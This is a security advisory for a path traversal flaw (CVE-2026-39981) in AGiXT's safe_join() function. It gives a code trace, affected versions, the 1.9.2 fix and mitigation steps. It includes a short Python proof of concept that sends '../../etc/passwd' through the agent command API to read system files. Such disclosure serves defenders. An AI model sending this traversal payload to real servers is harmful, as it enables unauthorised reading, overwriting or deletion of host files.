CVE-2026-39981 is a high-severity (CVSS 8.8) Path Traversal vulnerability in agixt. A fix is available for agixt — see the affected versions and patch details below.
AGiXT has a Path Traversal in safe_join()
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-39981.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
agixtReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance.
Details
agixt/endpoints/Extension.py:165 (source) -> agixt/XT.py:1035 (hop) -> agixt/extensions/essential_abilities.py:436 (sink)
# source
command_args = command.command_args
# hop
response = await Extensions(...).execute_command(command_name=command_name, command_args=command_args)
# sink
new_path = os.path.normpath(os.path.join(self.WORKING_DIRECTORY, *paths.split("/")))
PoC
# tested on: agixt<=1.9.1
# install: pip install agixt==1.9.1
import requests
BASE = "http://localhost:7437"
TOKEN = "<your_api_key>"
headers = {"Authorization": f"Bearer {TOKEN}"}
payload = {
"command_name": "read_file",
"command_args": {
"filename": "../../etc/passwd"
}
}
r = requests.post(f"{BASE}/api/agent/MyAgent/command", json=payload, headers=headers)
print(r.text)
# expected output: root:x:0:0:root:/root:/bin/bash ...
Impact
Authenticated users can read, overwrite, or delete arbitrary files on the host server, enabling credential theft, persistent code execution, or denial of service. Authentication is required but no elevated privileges are needed beyond a valid API key.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | agixt | all versions | 1.9.2pip install --upgrade 'agixt==1.9.2' |
Affected Products
agixtagixtDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for agixt, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update agixt to 1.9.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-39981 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Frequently Asked Questions
Is CVE-2026-39981 in your dependencies?
Find it across PyPI, including transitive dependencies.